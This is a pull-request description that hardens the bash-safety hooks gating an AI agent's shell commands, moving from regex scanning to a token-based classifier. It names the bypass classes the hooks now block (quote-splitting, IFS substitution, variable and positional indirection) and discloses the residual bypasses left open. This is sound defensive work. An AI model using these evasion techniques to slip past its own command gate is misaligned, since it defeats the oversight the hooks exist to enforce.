Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Rewrite
hooks/check-bash-safety.sh's andskills/executing-a-branch-plan/scripts/check_task_bash_safety.sh's deny logic from a raw-text regex substring scan into a token-based classifier (Python stdlibshlex, POSIX mode) that matches against bash's own dequoted, operator-segmented token stream instead of unexpanded source text -- closing the quote-splitting,${IFS}/$IFSsubstitution, and variable/array/positional-parameter indirection bypass classes across every denied command group in both scripts (Stage 1 of #1326's own two-stage plan).Facts
bash -xsandboxed-trace-normalization redesign on two independently reproduced grounds -- not side-effect-free (an empty-PATH sandbox still let/bin/rmrun by absolute path and let plain redirections truncate files), and an environment-divergence oracle (command -v uv && uv install foo) defeats it regardless of isolation strength.AskUserQuestion: close the quote-split/IFS/indirection bypass classes uniformly across both scripts and every denied command group; defer Stage 2 (execution-boundary enforcement: a nativegit pre-pushhook, package-registry network-egress blocking,ghtoken re-scoping) to a separate, owner-decision-requiring follow-up issue, since it requires secret/token issuance per CLAUDE.md's issuance-path-documentation requirement.drafting-issues).Assumptions
None load-bearing beyond what's stated above; the Stage-1-only scope boundary was an explicit operator choice via
AskUserQuestion, not an inferred preference.Skill audit evidence
hooks/gitapex_check_bash_safety.py,skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py) and both rewritten shell wrappers were read againstskills/evaluating-deterministic-gate-quality/references/dimensions.md, in particular dimension 1 (deny path non-bypassable-by-default -- the whole point of this diff), dimension 5 (untrusted input never interpolated unsafely into a shell/command -- the classifier receives the command string only as Python data via stdin JSON, never re-interpolated into a shell invocation), dimension 9 (known-limitation disclosure -- see the Non-goals/residual-risk sections below and each module's own docstring), dimension 15 (fail-closed on malformed input -- an unparseable command, non-zero classifier exit, or non-JSON-object classifier output all deny rather than allow; live-tested: missingpython3, missingjq, malformed JSON, non-object payload, non-stringtool_name/command), and dimension 19 (runtime cost --shlextokenization of a single command string is O(n), no measurable added latency observed in the local test run).git push) cases, 33 legitimate-dynamic-command cases, and 2 disclosed residual-bypass cases, 0 unexpected results. The independent root-cause subagent additionally hand-constructed bypass attempts not copied from any existing test file (string-slice reconstruction, printf/octal byte reconstruction, xargs placeholder indirection, positional-parameter indirection) to stress the design before implementation began.hooks/test_gitapex_check_bash_safety.pygainedDENIED_INDIRECTION_COMMANDS(17 cases: variable-split, quote-split,${IFS}, printf-octal, echo-piped, command-substitution-wrapped) andOBFUSCATED_GIT_PUSH_WARN_PATH_COMMANDS(4 cases, asserting warn-not-deny for an obfuscatedgit push);skills/executing-a-branch-plan/scripts/test_gitapex_check_task_bash_safety.pygained equivalent coverage (moved 4 formerKNOWN_BYPASS_COMMANDSintoDENIED_COMMANDSplus 5 new indirection cases). Both suites also gained a legitimate-dynamic-command allow-regression corpus (14 and 5 cases respectively) guarding against the measured 28% false-positive rate a blanket "deny every dynamic command" policy would produce. Two residual bypasses (string-slice reconstruction, array-literal-assignment indirection) remain deliberately unclosed and are pinned asKNOWN_BYPASS_COMMANDSin both suites -- an explicit, disclosed Stage-1 ceiling, not an oversight.Acceptance Criteria Map
Restated from #1326, row by row:
uv run --frozen pytest hooks/test_gitapex_check_bash_safety.py -q --no-cov-- all previously-live-confirmed bypasses (variable-split, quote-split,${IFS}substitution, positional-parameter indirection) now assert denied; a 14-case legitimate-dynamic-command corpus asserts allowedgh issue/gh prwrites,gh apiwrites,git pushgating) in both scripts via the shared_DENIED_ADJACENT/rule-based classifier, not a per-pattern patch; re-ran the same bypass probes againstgh pr merge-shaped andgit push-shaped commandsConstraints
AskUserQuestion) -- Stage 2 (execution-boundary enforcement) is out of scope for this PR.shlex,re,json,sys).hooks/check-bash-safety.shandskills/executing-a-branch-plan/scripts/check_task_bash_safety.shin the same change.Non-goals
git pre-pushhook, network-egress policy for package installs,ghtoken re-scoping) -- tracked as a separate follow-up issue, not implemented here.KNOWN_BYPASS_COMMANDSin both test suites.Risk / blast radius
uv add/uv removeandapm install/apm uninstallremain allowed (carried forward from fix(hooks): allow declarativeuv add/uv removein check-bash-safety.sh; pin already-allowed apm install/uninstall #1320/PR fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's own carve-out, independently re-implemented in the new classifier) -- this PR does not change that carve-out's own risk profile.KNOWN_BYPASS_COMMANDS, andskills/executing-a-branch-plan/references/threat-model-and-authorization.md.Rollback
Revert this PR's merge commit; both shell scripts and
.gitapex/ssot.json's registry entry return to the prior raw-text regex substring scan, and the two newgitapex_check_*_bash_safety.pymodules are removed along with their test coverage and the doc updates. No schema/data migration involved.Verification
uv run --frozen pytest hooks/test_gitapex_check_bash_safety.py skills/executing-a-branch-plan/scripts/test_gitapex_check_task_bash_safety.py -q --no-cov-> 160 passeduv run --frozen pytest --no-cov -q(full suite, mirrors CI'stest.yml) -> 5720 passed, 1 failed (pre-existing, environment-caused shallow-clone issue intests/test_gitapex_scan_harden_checkout_pin_drift.py::test_repository_workflows_are_drift_free-- same class already documented in PR fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's own body; real CI checks out full history viafetch-depth: '0'and does not hit this; unrelated to this diff)uv run --frozen python3 .github/scripts/gitapex_scan_ssot_schema.py-> "No ssot.json drift found."bash -n hooks/check-bash-safety.sh/bash -n skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh-> syntax OKruff check/ruff format --check/mypy(pre-commit hooks) -> all passed on the commitChecklist
.gitapex/ssot.json's registry entry andskills/executing-a-branch-plan/references/threat-model-and-authorization.md's bypass disclosure both updatedhooks/check-bash-safety.sh) and adds/modifies checker scripts underskills/*/scripts/*.py; see the## Skill audit evidencesection aboveevals/*/split.mdKept-edit-log entry addedSKILL.mdStop-boundary bullets or dispatch branches addedRelated Issue
Closes #1326
Independent review verdict
Outer layer: a GitHub Copilot review was requested for this PR (
request_copilot_review); no confirmed outcome was available at verdict-recording time (no reviews are recorded on the PR as of this writing), so this layer's coverage is disclosed as requested-but-unconfirmed, not counted as a pass. Not blocking per the skill's own step 8 rule (the inner layer is mandatory regardless of outer-layer availability).Inner layer: 32 rounds of independent, fresh-context adversarial review across four dimensions (correctness, regression/blast-radius, reuse/simplification, convention-adherence), each verifying every candidate finding directly against real bash execution and the classifier's own
classify()output before accepting it as real (per the skill's own >=0.7 confidence bar). Every round from round 18 through round 31 found and fixed a live, independently-verified defect; round 32 (the freshest correctness pass, run against the exact commit above) reported CLEAN with a detailed, itemized verification. The most recent substantive finding (round 29/30/31): a chain of three consecutive self-inflicted regressions in the same$IFS-reassignment handling code -- round 28 closed a real carriage-return-decoy git-push bypass but introduced a blanket "assume vanishing" rule; round 29 replaced that with a preciseeffective_ifsfix using the command's own actual reassigned IFS value, closing a broader self-inflicted bypass round 28 had introduced in the process; round 30 found and closed a case-folding bypass in round 29's own fix (comparing against the lowercased map instead of a case-preserving one); round 31 closed two stale docstring cross-references and reframed two vacuous test docstrings left over from round 30's own rename sweep. All rounds' fixes are covered by non-vacuous regression-pin tests (confirmed live by reverting each fix in a scratch copy and observing the corresponding test fail), full local suite green (735+ tests across both classifier modules, 100% line/branch coverage on the main hook), and full-repository suite green except one known, pre-existing, environment-caused failure unrelated to this diff (tests/test_gitapex_scan_harden_checkout_pin_drift.py::test_repository_workflows_are_drift_free, a shallow-clone artifact -- real CI checks out full history and does not hit it).Two residual bypasses remain deliberately open by design (string-slice reconstruction, array-literal-assignment indirection -- neither places a tool/verb name as its own literal token anywhere) and are disclosed, not fixed, per this PR's own stated Stage 1 scope boundary; pinned as
KNOWN_BYPASS_COMMANDSin both test suites. A separate, narrower newline-statement-splitting gap found during this review loop was filed as its own follow-up issue (#1350), out of this PR's scope.